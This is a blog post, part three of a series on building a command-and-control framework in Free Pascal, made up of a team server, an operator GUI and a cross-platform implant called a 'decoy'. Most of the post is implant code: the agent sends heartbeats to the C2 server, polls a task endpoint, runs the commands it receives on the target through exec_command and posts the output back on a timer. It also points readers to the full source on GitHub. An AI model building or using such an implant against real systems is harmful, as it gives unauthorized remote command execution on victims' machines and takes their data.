Building mini c2c in Pascal – part 3


and here we are in part three of this series, and in this blog post, I am going to finish the operational part of our c2c that includes a stable demo with a very straightforward execution flow.

before start explaining the topic for today, there are some questions asked about why I want the decoy(agent) to be in Pascal ,not in C or other programming languages.
First of all, this series aims to talk about the first offensive demo complete c2c (team server, operator, agent) structure written purely in Pascal. I want to build it that way for now. I am not sure if want to release a full version of c2c to the public yet, which for sure will be a combination of multiple programming languages.


for the server part, I have fixed possible SQL injection vulnerabilities and adhered to the usage of a prepared statement which will stop any possible SQL attacks and some other bug fixes to improve performance. you might check that here


recently I have done around 6 hours of live coding to structure the decoy with the team server and complete the remaining part of the operator GUI interface, I would advise you to watch the previous video on twitch or youtube!

anyway, the decoy(agent) will have a simple program execution flow, it supports (Linux/windows/macOS) with multi-threading for handling communications, which means it is super fast when it comes to job scheduling and delivering the output to the team server.

Fig 1.1

as shown in figure 1.1, at the beginning, the decoy will try to see if the c2 is up and accepting connections and then establish the session with the created c2 profile servers.

profile_UUID = 'agyrtsdfc'; decoy_profile_server = ''; decoy_profile_port = ':3333'; decoy_profile_type = 'http://'; { agent end-point profile } tasks_endpoint = '/tasks/view/'; tasks_update_status = '/tasks/update'; task_results = '/agents/results';
Code language: JavaScript (javascript)

then start parsing the Pending assigned task, after that, the decoy will execute the job on the target and send the result back to the c2.

Moreover, the decoy will not perform the actions if the initial handshake fails, which means less noisy behavior and stable execution flow.

In addition, I have avoided using while loop functions while handling the job of the assigned task; for that reason, I have used fptimer component to handle this part with custom timer intervals and threaded execution; besides, it is very tender to the CPU and RAM while handling the assigned jobs, or even while handling raised exception.
For example, if the agent sends the results into c2server and then accordingly the c2 goes offline or connection termination, the agent will handle that and send the results again when it is up and running.

below code is the initial connection test function to check and test if the connection has been successfully established, and then change the boolean state of isconnected variable into false or true depending on the connection results.

function initi_connection(server:string):string; var FPHTTPClient: TFPHTTPClient; Resultget,end_point,res: string; ok : integer; begin isconnected := false; end_point := '/agent/heart_beat'; FPHTTPClient := TFPHTTPClient.Create(nil); FPHTTPClient.AllowRedirect := True; try Resultget := FPHTTPClient.Get(server+end_point); // test URL, real one is HTTPS if Length(Resultget) > 0 then begin isconnected := true // if connected true, timer will take and execute end else isconnected := false; except // on E: exception do // writeln(E.Message) end; FPHTTPClient.Free; end;
Code language: Delphi (delphi)

After that, the agent time will check the isconnected boolean variable result if it is true, then he will check the assigned tasks at /tasks/view/ API end-point.

procedure TSync.DoOnTimer; var server:string; begin if Assigned(FOnTimer) then FOnTimer(Self); if isconnected = True then sync_endpoint else connect; end;
Code language: Delphi (delphi)

After parsing the JSON response provided by the c2 profile server, the agent will force some logical checks to ensure the execution is successful and then transfer the results back into the c2.

procedure TSync.sync_endpoint; // this is main procedure to get assigned tasks var rs,task_data,task_status,task_id,outdata : string; jData : TJSONData; tiny_payload : string; begin rs := HTTP_WORKER(connect_endpoint+tasks_endpoint+'?profile_UUID='+profile_UUID,'GET',profile_UUID,'','',''); if length(rs) > 2 then begin jData := GetJSON(rs); task_data := Jdata.FindPath('task_body').AsString; task_status := Jdata.FindPath('task_status').AsString; task_id := Jdata.FindPath('task_id').AsString; if task_status = 'PENDING' then begin outdata := exec_command(task_data); if length(outdata) > 1 then tiny_payload := 'uuid='+profile_UUID+'&task_id='+task_id+'&task_status=COMPLETED'; HTTP_WORKER(connect_endpoint+'/tasks/update/','POST','','','COMPLETED',tiny_payload); send_results(connect_endpoint+'/tasks/results/',profile_UUID,task_id,outdata); end; end; end;
Code language: Delphi (delphi)

at this stage, the decoy will repeat the checking and job scheduling with custom time intervals

inherited Create(CreateSuspended); FInterval := 3000; FreeOnTerminate := True; FEnabled := True;
Code language: PHP (php)

Remaining functions

as we want the process to be seamless, I have completed the operator-side functionality starting from Designing the interface to having a stable working demo. You might check the following twitch highlighted clip.

For the operator side, I have created a function to create a Visual component on run-time and assign a tab sheet to each connected decoy. For task creation, a threaded HTTP worker running will handle both sending and receiving results per decoy UUID and the task ID. Below is a code example to show how used threading to receive decoy results and create run-time visual components for the assigned decoy.

end_point := '/decoy/results?UUID='+pagecontrol2.ActivePage.Caption+'&task_id='+inttostr(task_id); with proc do begin p := FindComponent(pagecontrol2.ActivePage.Caption) as Tmemo; tmp := get_result_decoy(url,end_point,label1.Caption); p_data := parse_task_json(tmp,s_size); if assigned(p) then begin p.lines.Add('[+] size of recieved data : '+inttostr(s_size)); p.lines.Add('------------------------------------'); p.lines.Add(p_data); p.SelStart:= MAXInt; end;
Code language: Delphi (delphi)

What could happen more?

At this point, I have created a complete operation demo (decoy, team server, and operator GUI) from scratch using an exceptional programming language(Free Pascal). The next article will focus on some enhancements and tricks that could be done with the project.

Github repo

you can grab the demo source code from the folder DEV-03, and make sure to navigate the following discussion topic created to highlight some common issues or compile problems, thoughts, and ideas.

Please follow and like us: